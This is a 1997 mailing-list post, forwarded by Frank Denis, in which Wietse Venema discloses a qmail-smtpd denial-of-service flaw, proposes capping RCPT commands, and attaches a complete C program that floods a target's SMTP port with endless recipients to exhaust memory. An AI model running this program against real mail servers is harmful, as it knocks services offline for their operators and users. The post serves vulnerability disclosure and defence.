qmail-dos-2.c, another denial of service attack

Frank DENIS -Jedi/Sector One- (j@EIDER.NET)
Thu, 12 Jun 1997 00:20:57 +0200

Forwarded message:
>From djb-qmail-return-3264-j=4u.net@koobera.math.uic.edu Wed Jun 11 22:12:04 1997
Delivered-To: j@mail.donald.fr
Delivered-To: j@mail-gw.donald.fr
Delivered-To: j-one-j@rtc-one.net
Mailing-List: contact djb-qmail-help@koobera.math.uic.edu; run by ezmlm
Delivered-To: mailing list djb-qmail@koobera.math.uic.edu
Delivered-To: djb-qmail@koobera.math.uic.edu
Message-Id: <199706112211.RAA11254@spike.porcupine.org>
Subject: qmail-dos-2.c, another denial of service attack
To: djb-qmail@koobera.math.uic.edu
Date: Wed, 11 Jun 1997 18:11:41 -0400 (EDT)
From: wietse@wzv.win.tue.nl (Wietse Venema)
Organization: Wietse Venema on sabattical leave,
14 Nosband Avenue 4J, White Plains, NY 10605, USA
X-Phone: +1 914 948 7129
X-Time-Zone: USA EST, 6 hours behind central European time
X-Mailer: ELM [version 2.4ME+ PL15 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

Problem: denial of service problem in qmail-smtpd. By sending an
unlimited number of recipient addresses, a malicious SMTP client
can run the qmail host out of memory, rendering the system unusable.

Fix: impose some configurable upper bound on the number of RCPT
commands per message.

Attached is a little program that illustrates the problem.

Wietse

/*
* qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
* amount of recipients.
*
* Usage: qmail-dos-2 fully-qualified-hostname
*
* Author: Wietse Venema. The author is not responsible for abuse of this
* program. Use at your own risk.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>

void fatal(char *fmt,...)
{
va_list ap;

va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
putc('\n', stderr);
exit(1);
}

chat(FILE * fp, char *fmt,...)
{
char buf[BUFSIZ];
va_list ap;

fseek(fp, 0L, SEEK_SET);
va_start(ap, fmt);
vfprintf(fp, fmt, ap);
va_end(ap);
fputs("\r\n", fp);
if (fflush(fp))
fatal("connection lost");
fseek(fp, 0L, SEEK_SET);
if (fgets(buf, sizeof(buf), fp) == 0)
fatal("connection lost");
if (atoi(buf) / 100 != 2)
fatal("%s", buf);
}

int main(int argc, char **argv)
{
struct sockaddr_in sin;
struct hostent *hp;
char buf[BUFSIZ];
int sock;
FILE *fp;

if (argc != 2)
fatal("usage: %s host", argv[0]);
if ((hp = gethostbyname(argv[1])) == 0)
fatal("host %s not found", argv[1]);
memset((char *) &sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
sin.sin_port = htons(25);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
fatal("socket: %s", strerror(errno));
if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
fatal("connect to %s: %s", argv[1], strerror(errno));
if ((fp = fdopen(sock, "r+")) == 0)
fatal("fdopen: %s", strerror(errno));
if (fgets(buf, sizeof(buf), fp) == 0)
fatal("connection lost");
chat(fp, "mail from:<me@me>", fp);
for (;;)
chat(fp, "rcpt to:<me@%s>", argv[1]);
}

--
                  -=-  Frank DENIS aka Jedi/Sector One  -=-
                  <j@djweb.org> <j@donald.fr> <j@eider.net>